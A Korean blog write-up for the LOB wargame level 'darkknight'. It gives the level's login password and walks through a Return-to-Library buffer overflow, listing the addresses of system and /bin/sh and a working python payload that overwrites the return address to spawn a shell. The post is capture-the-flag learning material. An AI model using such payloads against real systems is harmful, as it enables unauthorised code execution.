cgy12306
[LOB] darkknight 본문
ID : darkknight
PW : new attacker
argv[1]의 47번째 byte가 \xbf면 종료가 된다.
RTL(Return To Library) 기법을 사용하면 된다. RTL 기법은 ret에 라이브버리 주소로 덮는 기법이다.
/bin/sh이 있는 위치를 알아내는 코드이다.
/bin/sh은 0x400fbff9에 위치한다.
이제 system의 주소를 알아보자.
system의 주소는 0x40058ae0이다.
페이로드를 구상해보자.
./bugbear `python -c 'print "A" * 44+"\xe0\x8a\x05\x40"+"ABCD" + "\xf9\xbf\x0f\x40"'`
페이로드는 A를 44개 넣어주고, system함수의 주소를 넣고, 뒤에 dummy 4byte를 넣고 /bin/sh이 있는 주소를 넣어주면 된다.
사실 dummy에는 ret 값이 들어가야 하는데, /bin/sh만 실행시키면 되기 때문에 ABCD라는 dummy를 넣어줬다.
'Wargame > LOB' 카테고리의 다른 글
[LOB] giant (0) | 2019.09.30 |
---|---|
[LOB] bugbear (0) | 2019.09.30 |
[LOB] golem (0) | 2019.09.30 |
[LOB] skeleton (0) | 2019.09.30 |
[LOB] vampire (0) | 2019.07.19 |
Comments